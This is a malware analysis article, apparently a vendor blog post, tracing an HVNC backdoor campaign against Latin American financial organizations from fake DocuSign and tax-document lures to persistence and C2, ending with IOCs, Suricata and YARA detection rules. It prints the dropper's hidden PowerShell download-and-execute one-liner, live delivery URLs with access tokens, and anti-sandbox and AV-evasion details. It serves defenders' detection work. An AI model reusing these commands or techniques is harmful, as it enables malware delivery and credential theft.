HomeMalware Analysis
HVNC Backdoor Targets LATAM Organizations with Fake Tax and DocuSign Lures
HomeMalware Analysis
HVNC Backdoor Targets LATAM Organizations with Fake Tax and DocuSign Lures

Editor’s note: The analysis is authored by Moises Cerqueira, malware researcher & threat hunter. You can find Moises on LinkedIn and X.

Fake tax documents are being used to target organizations across LATAM, delivering a custom HVNC backdoor built for stealthy, persistent access. Once installed, the malware can give attackers hidden remote control, steal browser data, monitor keystrokes, and survive system reboots.

The attack chain combines trusted business lures, anti-analysis techniques, and infrastructure designed to keep access hidden. For security leaders, the risk goes beyond a single compromised endpoint: persistent access can expose credentials, sensitive data, and business systems while giving attackers more time to move deeper into the environment.

HVNC Campaign Overview

The campaign uses fake DocuSign notifications, NFe tax documents, and banking-themed phishing to deliver a custom HVNC backdoor. Once installed, it can give attackers hidden remote control and persistent access to compromised systems.

Threat type Multi-stage phishing campaign; custom HVNC backdoor
Targeting Banking and financial services in Latin America
Delivery Fake DocuSign and NFe tax-document lures; related ClickFix-style delivery also observed
Objective Persistent remote access and control of compromised systems
Attribution Unconfirmed; Silver Fox / Winos4.0-adjacent tradecraft at medium confidence

Business Risks Behind the HVNC Campaign

For organizations, the danger lies in how much access the malware can provide once a device is compromised. Its capabilities can increase both the scope of exposure and the time attackers remain active in the environment.

  • Credential and session theft: The malware monitors keystrokes and targets Firefox cookies, browsing history, and permissions, putting account access at risk.
  • Hidden remote control: HVNC functionality lets attackers interact with the compromised system through a hidden desktop, including screen capture and simulated mouse and keyboard input.
  • Persistent access: The backdoor establishes Startup-folder persistence, allowing it to remain active after system reboots.
  • Reduced visibility for defenders: The malware checks for more than 20 AV/EDR processes and adjusts its behavior when security software is present.
  • Longer exposure to compromise: Its persistent C2 connection and repeated reconnection attempts are designed to keep the implant available even through network interruptions.

Cut the time attackers have inside your environment.
Reduce exposure before it turns into business loss.

Reduce Business Risk

Who Is This Campaign Targeting?

The campaign appears financially motivated, with a clear focus on banking and financial services in Latin America. Threat intelligence analysis using ANY.RUN data revealed phishing infrastructure impersonating major banks, alongside fake tax-document lures designed to blend into routine financial and administrative workflows.

TI Lookup used to get deeper context into HVNC Backdoor attack
TI Lookup used to get deeper context into HVNC Backdoor attack

Attack Chain Overview

The campaign follows a four-stage infection chain that moves from fake DocuSign and NFe tax-document lures to a persistent HVNC backdoor. Each stage uses separate delivery, staging, and C2 infrastructure, making the operation harder to trace and disrupt.

  • Stage 1 – Initial Access: a spoofed DocuSign “document ready for download” page (and a parallel NFe/DANFE-themed lure) with anti-sandbox and anti-automation logic, serving a dynamically generated ZIP archive per visitor.
  • Stage 2 – Dropper: a Windows .lnk shortcut disguised as a tax-document receipt, whose target is a hidden PowerShell one-liner that downloads and executes a second-stage binary.
  • Stage 3 – Loader: an NSIS self-extracting installer bundling the final payload alongside legitimate-looking runtime DLLs (OpenCV, MSVC redistributables) used as cover noise.
  • Stage 4 – Payload: a 64-bit backdoor (masquerading as “Windows Update Assistant” / Microsoft Corporation in its version metadata, while unsigned) implementing AV/EDR discovery, a hidden virtual desktop for remote operator control, keystroke monitoring, Firefox cookie/history/permission theft, and a browser-redirection command – all communicating over TCP/27015 to infrastructure hosted with GHOSTnet GmbH (Frankfurt, DE).

The Lure: A Fake DocuSign Notification With a Personality

The entry point is a cloned DocuSign “your document is ready” page. It’s a convincing fake – the logo is pulled live from DocuSign’s own CDN – but the copy gives it away: the document name reads “Documento_Contrato_Signado.pdf,” a non-native construction of the Portuguese word for “signed.” A build marker (0a4b2aff1c2ebf8b) sits in the HTML, likely a phishing-kit fingerprint we can use to track this kit elsewhere.

The fake DocuSign page clones the real logo from DocuSign's CDN
The fake DocuSign page clones the real logo from DocuSign’s CDN but gives itself away with awkward Portuguese phrasing in the filename.

Before it hands over anything, the page runs a small anti-bot gauntlet: it checks navigator.webdriver, zero-size browser windows, and known headless-browser artifacts, then waits for two genuine mouse/scroll/keyboard events (with a 3.5-second fallback) before arming the download. A silent background request also fingerprints the visitor’s browser, OS, timezone and screen size and reports it to the server first – almost certainly used to decide who actually gets a payload.

Once satisfied, the page doesn’t link to a file – it POSTs to api.php and gets back a JSON blob containing a base64-encoded ZIP, a SHA-256 hash, and a cheeky bit of social engineering: an alternate .nfe extension “in case the download gets blocked by SmartScreen.”

Instead of a direct file link, the server returns the payload base64-encoded inside a JSON response - a simple but effective trick against extension- and URL-based filtering.
Instead of a direct file link, the server returns the payload base64-encoded inside a JSON response – a simple but effective trick against extension- and URL-based filtering

From Shortcut to Shellcode: The LNK Dropper

Inside the ZIP sits a Windows .lnk shortcut disguised as an NFe (Brazilian electronic tax receipt) confirmation, alongside five decoy .txt files with fabricated company data – generated fresh for every download, using real, recognizable Brazilian company names to boost trust.

The shortcut’s real target is powershell.exe, run with -WindowStyle Hidden -ExecutionPolicy Bypass, executing a one-liner that downloads a second-stage binary and runs it:

Invoke-WebRequest -Uri “http://<staging-ip>/dl.php?f=NotaFiscal…exe
&k=nfe_valid_access_key_2026_secure” `
-OutFile “$env:USERPROFILE\Desktop\$env:USERNAME.exe”; Start-Process $out

That k= parameter is a static access token gating the delivery server – a strong pivot for spotting other samples from the same kit, regardless of which IP is currently hosting it.

The shortcut's real payload is a hidden PowerShell downloader - nothing in the shortcut's icon or name hints at this.
The shortcut’s real payload is a hidden PowerShell downloader – nothing in the shortcut’s icon or name hints at this

The shortcut’s own metadata turned out to be more useful than expected: Windows silently embeds the builder machine’s NetBIOS hostname into every .lnk file. Here, that hostname was “servee” – a detail that becomes very relevant once we get to infrastructure.

An Installer in Disguise: NSIS and the Weight of Legitimacy

The downloaded file is an NSIS (Nullsoft Scriptable Install System) self-extracting installer with a 22.9 MB compressed overlay. Unpacked, it drops:

  • UpdateAssistant.exe – the real payload
  • opencv_world4120.dll (~22 MB) – a genuine OpenCV library
  • Four legitimate Microsoft Visual C++ redistributable DLLs

None of these DLLs are hijacked or trojanized – they’re just real, large, familiar-looking files bundled in to make the folder feel like a normal software installer. The actual malicious logic lives entirely in the one 177 KB executable sitting quietly among them.

22 MB of real, unmodified libraries surround an 80 KB malicious executable - bulk as camouflage
22 MB of real, unmodified libraries surround an 80 KB malicious executable – bulk as camouflage

Cracking the XOR: Finding the C2 Inside the Binary

UpdateAssistant.exe claims to be Microsoft Corporation’s “Windows Update Assistant” in its version metadata – while being completely unsigned. Static analysis in Detect It Easy immediately flags the giveaways: UnsignedMicrosoft, repeated XorInLoop patterns, and YARA hits for KeyloggerApi and BrowserStealer.

Reversing the network-setup routine in IDA Pro shows why. The C2 host is stored as 12 raw bytes, XOR-encoded with a single byte (0x37):

Raw: 02 19 05 04 07 19 05 03 0E 19 03 0E
XOR key: 0x37
Result: 5.230.249.49

The destination port is stored in plaintext: 27015 – the default port for Source-engine games like Counter-Strike. Reusing a gaming port is a small but deliberate choice: it blends the beacon into ordinary consumer traffic on a casual netflow review.

A single-byte XOR is all that stands between the readable C2 configuration and casual static analysis.
A single-byte XOR is all that stands between the readable C2 configuration and casual static analysis.

A second function decodes a small set of browser names (“chrome,” “firefox,” “msedge,” “brave,” “opera”) using a different XOR key (0x13), building commands like cmd.exe /c start chrome.exe <operator-supplied URL> – a command the operator can issue to force the victim’s browser open to any page of their choosing.

The Malware Introduces Itself: A Live HVNC Handshake

Static analysis told us the malware could create a hidden desktop (CreateDesktopA, SetThreadDesktop), capture the screen, inject input, and poll the keyboard state – the textbook ingredients of an HVNC implant. What we didn’t expect was for the malware to say so, out loud, on the wire.

Detonating a live build in ANY.RUN’s Interactive Sandbox and opening the raw TCP stream to the C2 in Text view surfaced this handshake, sent in the clear before any operator interaction:

HVNC-<client id>
CLIENT_ID:HVNC-<client id>
COMPUTER:<hostname>
USER:<username>
OS:<Windows version>
VERSION:1.2.0.4.71
MODE:FULL
DETAILS:[SISTEMA] Arquitetura: x64 (AMD64)
[SISTEMA] Processadores: 6
[SISTEMA] CPU: AMD Ryzen 5 3500 6-Core Processor
[SISTEMA] Memória Total: 6138 MB
[SISTEMA] Memória Disponível: 4343 MB
[SISTEMA] Antivírus: Não detectado (modo stealth)
[SISTEMA] Hostname: <hostname>
IDENTIFIER_CHANNEL:20

The banner literally opens with HVNC-. The malware authors named their own protocol, and it checks in with a full victim fingerprint – CPU model, RAM, architecture, and, tellingly, the result of the antivirus-discovery loop we found in static analysis. That loop isn’t just for self-throttling; its output is reported straight to the operator’s panel per victim. After the handshake, the stream switches to a binary frame format consistent with screen-tile data feeding the malware’s built-in OpenCV pipeline.

The malware's own check-in banner - captured live via - confirms the HVNC architecture and shows exactly what gets reported to the attacker for every new victim.
The malware’s own check-in banner – captured live via – confirms the HVNC architecture and shows exactly what gets reported to the attacker for every new victim.

We also confirmed the port isn’t fixed: one build hardcoded 27015, while a separately detonated build connected live on 27017. Treat the port as a per-build configuration value, not a protocol constant – the VERSION:1.2.0.4.71 string is the more durable fingerprint.

Limit the financial and operational impact of compromise.
Give your SOC the evidence to act before exposure grows.

Protect Your Operations

Sticking Around: Persistence via a Fake Update Helper

A follow-up detonation answered the one question static analysis couldn’t: how does this thing survive a reboot? Watching the process tree in ANY.RUN, UpdateAssistant.exe copies itself – plus its cover DLLs – into a second folder under %APPDATA%\Roaming\Programs\Common\, renaming the executable to AppUpdateHelper.exe, then drops a shortcut into the current user’s Startup folder pointing at that copy.

Classic Startup-folder persistence (MITRE T1547.001), layered with a self-rename step that matches the malware's mutex-naming convention.
Classic Startup-folder persistence (MITRE T1547.001), layered with a self-rename step that matches the malware’s mutex-naming convention

That name isn’t a coincidence: earlier pivoting in ANY.RUN’s Threat Intelligence Lookup on the C2 IP had already surfaced runtime mutex values from unrelated prior submissions – Global\AppUpdateHelper_E7A2F and Global\WinSvc_4CF8B2E6 – from builds spanning back to March 2026. The prefix is stable across builds; only the suffix changes. Interestingly, we also caught this malware executing its own browser-redirect command in the wild: several TI Lookup events show msedge.exe –type=util… launched in direct correlation with a connection to the C2 IP, matching the capability we’d already decoded statically.

Following the Infrastructure Trail

The LNK’s embedded builder hostname – servee – turned into a live pivot. Querying Shodan for the staging IP (an Azure VM used only to host the second-stage download) showed an exposed RPC endpoint mapper leaking that exact NetBIOS name, confirming the builder machine and the delivery host are one and the same.

The live C2, by contrast, sits on a GHOSTnet GmbH VPS in Frankfurt – a different provider entirely, reflecting a deliberate split between disposable staging infrastructure and a stable, actively-managed C2 host (Shodan even shows a self-signed AnyDesk certificate on the box, suggesting the operator manages it remotely).

Passive infrastructure fingerprinting via Shodan tied the malware's build environment directly to its live delivery server.
Passive infrastructure fingerprinting via Shodan tied the malware’s build environment directly to its live delivery server.

Pivoting further in TI Lookup on the same C2 IP surfaced several more findings worth flagging. First, the same server also hosts other stage-2 payloads under different lure themes (dl.php?f=cresol.exe&k=chave_tecl_cresol — a Sicredi/Cresol-branded variant), confirming this is a reusable kit, not a one-off. Related activity also showed the same NFe lure theme being delivered through ClickFix-style prompts, suggesting the operators can rotate delivery methods as well as infrastructure and payloads.

A single infrastructure pivot in TI Lookup connected this sample to at least two other lure themes and a completely separate banking-phishing cluster.
A single infrastructure pivot in TI Lookup connected this sample to at least two other lure themes and a completely separate banking-phishing cluster

A related domain — gerenciadorcaixa.digital, cloning Caixa Econômica Federal’s corporate banking portal — shares the same gerenciador[bank].digital naming convention as a Banco do Brasil phishing clone found on a sibling IP, suggesting either a shared operator or hosting reseller behind multiple financial-phishing campaigns.

Capability Summary

The final payload combines remote-control, data-theft, evasion, and persistence capabilities in a single backdoor. The table below summarizes the behaviors confirmed during static and dynamic analysis, along with the confidence level for each finding.

Capability  Confidence  Evidence 
Hidden virtual desktop / HVNC remote control  High  CreateDesktopA/OpenDesktopA/SetThreadDesktop imports + producer/consumer thread architecture (Section 8.2.4) 
Screen capture  High  GDI BitBlt/GetDIBits imports + OpenCV cv::Mat queue in sub_14000E540 
Simulated mouse/keyboard input (remote control)  High  SendInput/PostMessageA/SendMessageA imports 
Keystroke monitoring  Medium-High  GetAsyncKeyState/GetKeyboardState imports (YARA KeyloggerApi); active polling loop not fully traced 
Firefox cookie / history / permission theft  High  Hardcoded cookies.sqlite / places.sqlite / permissions.sqlitestrings 
Chromium credential-store theft  Unconfirmed  No “Login Data”/“Web Data” plaintext strings found; possible dynamic resolution not yet decoded 
AV/EDR discovery (non-destructive)  High  20+ hardcoded AV process names + low-priority evasion behavior 
Operator-directed browser redirection  High  sub_140019CA0, fully decoded (Section 8.4) 
Raw-TCP custom C2 protocol (self-identified as “HVNC”, port 27015/27017 per build)  High  Fully decoded C2 host/socket configuration (Section 8.2.3) plus a captured plaintext handshake naming the protocol itself and transmitting a full victim fingerprint (Section 10.2) 
Persistence mechanism  High - Confirmed  Startup-folder shortcut (T1547.001) pointing to a self-relocated, renamed copy (AppUpdateHelper.exe) in %APPDATA%\Roaming\Programs\Common\; confirmed dynamically via ANY.RUN (Section 8.5.3) 

Detection and Hunting Priorities

Because payload hashes and infrastructure can change between builds, detection should combine campaign-specific IOCs with more durable behavioral signals.

  • Watch for suspicious PowerShell execution: Flag hidden PowerShell launched from .lnk files, especially commands combining Invoke-WebRequest and Start-Process.
  • Check fake update binaries: Investigate unsigned processes named UpdateAssistant.exe or similar Windows Update-themed files running outside legitimate Windows directories.
  • Hunt for HVNC behavior: Look for unsigned processes combining hidden-desktop APIs, screen capture, and simulated keyboard or mouse input.
  • Monitor persistence: Alert on unusual .lnk files written to the Startup folder, particularly when they point to executables under %APPDATA%.
  • Use durable network indicators: Hunt for the HVNC- protocol strings, VERSION:1.2.0.4.71, and the nfe_valid_access_key delivery token rather than relying only on current C2 IPs or ports.

How Organizations Can Reduce the Risk from HVNC Campaigns

Security awareness should reflect these workflows, especially for finance, accounting, procurement, and other document-heavy teams. Employees should know how to verify unexpected files or signing requests before opening them.

Treat Tax and Business Documents as a High-Risk Entry Point

Organizations handling large volumes of tax documents, invoices, signing requests, and other financial communications should treat unexpected downloads and attachments with extra scrutiny.

Security awareness should focus on the specific workflows attackers imitate, not phishing in general. Employees working in finance, accounting, procurement, and other document-heavy functions are especially important here.

Analyze Suspicious Files Before They Reach Production Systems

The campaign relies on several seemingly ordinary stages — a ZIP archive, an .lnk shortcut, PowerShell, and an installer — before the HVNC payload appears.

ANY.RUN sandbox network capture - C2 beacon to the Source-engine
ANY.RUN sandbox network capture – C2 beacon to the Source-engine

Suspicious files and URLs can be opened in an isolated environment such as ANY.RUN’s Interactive Sandbox to expose the full execution chain, including hidden PowerShell activity, dropped files, network connections, persistence, and C2 behavior before an analyst makes a containment decision.

Expand Investigations Beyond the First IOC

One malicious IP or file may represent only a small part of the campaign.

Using ANY.RUN’s Threat Intelligence Lookup, teams can pivot from an IP, domain, URL, mutex, or other indicator to related samples and infrastructure. In this investigation, those pivots exposed additional lure themes and connected activity beyond the original sample.

ANY.RUN TI Lookup - Analyses tab showing related submissions across the campaign timeline
ANY.RUN TI Lookup – Analyses tab showing related submissions across the campaign timeline

For security leaders, this means fewer incidents treated in isolation and a better chance of identifying the wider campaign before another endpoint is affected.

Push Fresh Threat Intelligence Into Existing Controls

Because payload hashes and infrastructure can change between builds, organizations should avoid relying only on static blocklists. The investigation already showed different payload hashes across builds while more durable behavioral and protocol indicators remained consistent.

TI feeds
TI Feeds provide SOC teams with fresh, actionable IOCs

Threat Intelligence Feeds can help distribute current malicious infrastructure and indicators into SIEM, EDR, firewalls, and other existing security controls, while behavioral detections provide coverage when individual IPs, domains, or payloads rotate.

Plan for Full Containment, Not Just Initial Cleanup

Once HVNC is installed, removing the original file is not enough. The malware establishes persistence, maintains C2 access, and can continue operating after reboot.

Incident-response plans should therefore include checking persistence mechanisms, terminating malicious processes, blocking C2 activity, reviewing exposed credentials and browser sessions, and confirming that attacker access has been fully removed.

Turn deeper threat visibility into lower MTTD and MTTR.
Shorten the path from threat discovery to business protection.

Strengthen SOC Performance

Conclusion

This HVNC campaign shows how familiar business workflows can be turned into an effective path to persistent compromise. Fake tax documents and trusted-brand lures ultimately lead to a backdoor capable of hidden remote control, keystroke monitoring, browser-data theft, and long-term access.

For organizations across Latin America, the key lesson is to look beyond the initial phishing artifact and detect the behaviors and infrastructure that remain consistent as campaigns evolve:

  • Simple delivery can lead to high-impact compromise: A phishing page, shortcut file, and installer ultimately provide attackers with a capable HVNC backdoor.
  • Persistence increases the window of exposure: The malware can maintain access through a Startup-folder mechanism even after a reboot.
  • Static IOCs are not enough: Payload hashes change between builds, making behavioral and protocol-based detection more reliable over time.
  • C2 behavior provides durable detection opportunities: The malware exposes distinctive protocol strings and sends victim and AV information during check-in, giving defenders stronger hunting signals than IPs alone.
  • Threat intelligence helps reveal the wider campaign: Pivoting from individual indicators exposed related lure themes, infrastructure, and financially motivated phishing activity beyond the original sample.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by more than 16,000 organizations worldwide, including 74% of the Fortune 100.

Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich investigations with actionable context, and connect related activity across infrastructure and campaigns.

This helps security teams reduce investigation time, lower MTTD and MTTR, and contain threats before business impact grows.

MITRE ATT&CK Mapping

Tactic  Technique ID  Technique Name  Evidence 
Reconnaissance  T1592 (env. fingerprint, page-level)  Gather Victim Host Information  Lure page's silent telemetry beacon (UA, resolution, timezone) sent before payload release 
Initial Access  T1566.002  Phishing: Spearphishing Link  Fake DocuSign / NFe delivery-notice page as the entry vector 
Defense Evasion  T1027  Obfuscated Files or Information  ZIP-in-disguise, MIME override, nested single-byte XOR string obfuscation with context-specific keys 
Defense Evasion  T1036.005  Masquerading: Match Legitimate Name or Location  LNK icon spoofed to notepad.exe; UpdateAssistant.exe VersionInfo claims Microsoft Corporation while unsigned; DLL bundle mimics a real software installer 
Defense Evasion  T1622 / anti-automation (no direct ATT&CK ID)  Debugger/Environment Evasion  navigator.webdriver / headless-browser checks; human-interaction gating before payload release 
Defense Evasion  T1518.001  Security Software Discovery  20+ hardcoded AV/EDR process names, checked via Toolhelp32 snapshot 
Execution  T1204.002  User Execution: Malicious File  Victim double-clicks the disguised .lnk 
Execution  T1059.001  Command and Scripting Interpreter: PowerShell  Hidden, execution-policy-bypassed PowerShell one-liner 
Command and Control  T1105  Ingress Tool Transfer  PowerShell Invoke-WebRequest pulling the NSIS loader from the Azure staging host 
Command and Control  T1573 (custom config, not full-channel encryption)  Encrypted/Obfuscated Configuration  XOR-protected C2 host string embedded in the final payload 
Command and Control  T1571  Non-Standard Port  Raw TCP C2 on port 27015 (Source-engine game port), not HTTP/HTTPS 
Command and Control  T1095  Non-Application Layer Protocol  Custom raw-TCP protocol rather than HTTP/WebSocket 
Collection  T1113  Screen Capture  GDI BitBlt/GetDIBits + OpenCV-backed frame queue 
Collection  T1056.001  Input Capture: Keylogging  GetAsyncKeyState/GetKeyboardState polling imports 
Collection  T1539  Steal Web Session Cookie  Hardcoded targeting of Firefox cookies.sqlite 
Collection  T1217  Browser Information Discovery  Hardcoded targeting of Firefox places.sqlite / permissions.sqlite 
Command and Control / Impact  T1219 (closest analogue)  Remote Access Software (custom HVNC)  Hidden-desktop + SendInput architecture functioning as an unauthorized remote-access channel 
Persistence  T1547.001  Boot or Logon Autostart Execution: Startup Folder  AppUpdateHelper.lnk dropped into the current user's Start Menu \ Programs \ Startup folder, pointing to a self-relocated payload copy (confirmed dynamically, Section 8.5.3) 
Defense Evasion  T1036.005 (persistence-stage recurrence)  Masquerading: Match Legitimate Name or Location  Relocated persistence copy renamed to AppUpdateHelper.exe, matching the mutex-name convention 

Indicators of Compromise

File Hashes:

Stage  Filename  SHA-256 
2 - ZIP dropper (build 1, Samsung decoy)  DANFE_SAMSUNG_ELET_AM_CNPJ...zip / .nfe  e4d637f884f5babea6525266e1cb6ab332a16a446d6084dd51b4222540c1f16c 
2 - ZIP dropper (build 2, Motorola decoy)  MOTOROLA_MOB_COM_NFe_2026-07-16_217816240.zip  97f35ba586fc121590c867b4d6707777fbeca2ace5ad077807ec806540bb47cd 
2 - LNK dropper (build 2, in-archive)  NF_Eletronica999147237654.lnk  Not independently hashed - identified via ZIP CRC32 0x3F6F7598 (compressed 1,059 B / uncompressed 2,752 B) 
4 - Final payload (build 1, statically analyzed)  UpdateAssistant.exe  5fbfc7929858c3c3d79637db857525695db3c0f41b9bf2a7b964c26b7226bde3 
4 - Final payload (build 2, dynamically captured)  UpdateAssistant.exe / AppUpdateHelper.exe (post-persistence copy)  debf48e690abd4288e5f76fa7e9f98a9fb3411171eba82906ef0d2bf1ef2dd6d 
4 - Persistence shortcut (build 2)  AppUpdateHelper.lnk  25db85830d86cafbb93a660242f8b4017273cc4612e94dd7a8af29c948651bbe 
3 - Cover DLL: vcruntime140.dll (build 2, relocated copy)  vcruntime140.dll  d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7 
3 - Cover DLL: vcruntime140_1.dll (build 2, relocated copy)  vcruntime140_1.dll  1f2d41c4aa5db0bc33ebf7b66d72943a817d7ce6cbe880502a9403823633093f 
3 - Cover DLL: concrt140.dll (build 2, relocated copy)  concrt140.dll  54716f0738af891f283d213b5c8d11b25896bb8ee3097d301eae718560cf974e 
3 - Cover DLL: msvcp140.dll (build 2, relocated copy)  msvcp140.dll  7c26614e1d733892c2deac7e245ce115504b1d80592dd0a01b08e3e5a55f89ca 

Network Indicators:

Indicator  Type  Role  Confidence 
40.124.169.27  IPv4  Stage-2 payload staging (Azure)  High 
5.230.249.49:27015 / :27017  IPv4:Port  Live C2 endpoint (raw TCP/HVNC beacon) - port confirmed to vary by build (27015 statically decoded, 27017 live-observed)  High 
VERSION:1.2.0.4.71  C2 protocol content string  Internal build/family version reported in the plaintext HVNC check-in banner - infrastructure-independent detection signature (Section 10.2.1)  High 
"HVNC-" / "CLIENT_ID:HVNC-" / "IDENTIFIER_CHANNEL:"  C2 protocol content strings  Structural protocol markers suitable for network-content (Suricata) detection independent of C2 IP/port rotation  High 
5.230.249.49 (port 80/443)  IPv4  Also observed serving stage-2 payloads directly (see dl.php entries below) - not staging-only  High 
5.230.54.41  IPv4  Secondary delivery / co-hosted phishing  High 
receitafederal.digital  Domain  NFe-themed delivery lure domain  High 
aapj.digital  Domain  Banco do Brasil PJ phishing clone (co-hosted, GHOSTnet)  Medium (cluster link) 
gerenciadorcaixa.digital  Domain  Caixa Econômica Federal phishing clone - same “gerenciador[banco].digital” naming convention as aapj.digital  Medium-High (cluster link, 2nd independent confirmation) 
http://5.230.249.49/dl.php?f=cresol.exe&k=chave_tecl_cresol  URL  Additional stage-2 delivery URL on the C2 host, Sicredi/Cresol-themed lure variant  High 
http://5.230.249.49/dl.php?f=payed.exe  URL  Additional stage-2 delivery URL on the C2 host, generic-themed lure variant  High 
http://40.124.169.27/dl.php?f=NotaFiscal...&k=nfe_valid_access_key_2026_secure  URL  Stage-2 delivery URL, NFe-themed (confirmed twice, 08 Jul and 15 Jul 2026)  High 
nfe_valid_access_key_2026_secure / chave_tecl_cresol  URL parameter values  Delivery-server access tokens - the k= parameter naming pattern (chave_/key_ + lure theme) is a strong kit/campaign pivot independent of the current staging IP  High 
0a4b2aff1c2ebf8b  HTML comment string  Phishing kit build/campaign marker on the DocuSign lure page  Medium 

Host-Based Indicators:

Indicator  Notes 
%USERPROFILE%\Desktop\%USERNAME%.exe  Stage-3 drop path/filename pattern (dynamic per victim; observed as admin.exe in the 2nd captured build) 
LNK filename patterns: Comprovante_NFe*.lnk / NF_Eletronica*.lnk  Stage-2 dropper naming convention - confirmed rotating across at least two templates 
LNK Machine ID: servee  Correlates to Azure staging host NetBIOS name (build 1) 
LNK Volume Serial: 0x24E4EC72  Builder-host pivot for other LNKs from the same kit (build 1) 
%APPDATA%\Roaming\Programs\Common\AppUpdateHelper.exe  Persistence copy of the final payload (confirmed, Section 8.5.3) 
%APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AppUpdateHelper.lnk  Persistence shortcut (Startup folder, T1547.001) 
Mutex prefix pattern: Global\AppUpdateHelper_* / Global\WinSvc_*  Confirmed via two independent builds (07 Apr and 02 Apr 2026 submissions); suffix is per-build/random, prefix is stable - use regex Global\\(AppUpdateHelper|WinSvc)_[A-F0-9]+ for hunting 
Alternate final-payload filename: SysMaintenance.exe (folder: SystemMaintenance)  Confirms binary/folder naming rotates alongside the AppUpdateHelper/UpdateAssistant convention 
Suricata: “hunting [any.run] windows pc hostname observed in outbound connection” (T1592)  The C2 beacon appears to transmit the victim hostname during handshake - not yet confirmed via static code review 
Suricata: “suspicious [any.run] possible admin username observed in outbound connection” (T1571)  The C2 beacon appears to transmit the victim username during handshake - not yet confirmed via static code review 

Suricata (network-content, infrastructure-independent):

alert tcp any any -> any any (msg:”HVNC-family C2 handshake (NFe/DocuSign cluster)”; \
content:”HVNC-“; content:”CLIENT_ID:HVNC-“; content:”COMPUTER:”; \
content:”IDENTIFIER_CHANNEL:”; content:”VERSION:1.2.0.4.71″; \
flow:established,to_server; classtype:trojan-activity; sid:9000001; rev:1;)

YARA (final payload):

rule Trojan_HVNC_UpdateAssistant_Masquerade
{
meta:
description = “Detects the unsigned HVNC/keylogger backdoor masquerading as Windows Update Assistant”
author = “0xOlympus”
date = “2026-07-27”
hash = “5fbfc7929858c3c3d79637db857525695db3c0f41b9bf2a7b964c26b7226bde3”

strings:
$ff1 = “cookies.sqlite” ascii
$ff2 = “places.sqlite” ascii
$ff3 = “permissions.sqlite” ascii

$av1 = “avastui.exe” ascii
$av2 = “bdagent.exe” ascii
$av3 = “mcshield.exe” ascii
$av4 = “360tray.exe” ascii
$av5 = “ekrn.exe” ascii

$ver = “Windows Update Assistant” wide

// XOR(0x37)-encoded C2 host “5.230.249.49”
$c2cfg = { 02 19 05 04 07 19 05 03 0E 19 03 0E }

condition:
uint16(0) == 0x5A4D and
(2 of ($ff*)) and
(3 of ($av*)) and
($ver or $c2cfg)
}

Moises Cerqueira (0xOlympus)
Website |  + posts

Malware Researcher & Threat Hunter with a strong background in Blue Team operations.
Specialized in malware analysis and reverse engineering, with hands-on experience dissecting binaries and reconstructing attacker TTPs from initial delivery to command-and-control communication.
Driven by a deep interest in adversary tradecraft, bridging low-level technical analysis with strategic threat intelligence and detection engineering.

Follow Moises on:

LinkedIn

X

Website

moises-cerqueira-0xolympus
Moises Cerqueira (0xOlympus)
Malware Researcher & Threat Hunter with a strong background in Blue Team operations. Specialized in malware analysis and reverse engineering, with hands-on experience dissecting binaries and reconstructing attacker TTPs from initial delivery to command-and-control communication. Driven by a deep interest in adversary tradecraft, bridging low-level technical analysis with strategic threat intelligence and detection engineering.

Follow Moises on:
LinkedIn
X
Website

What do you think about this post?

0 answers

  • Awful
  • Average
  • Great

No votes so far! Be the first to rate this post.

0 comments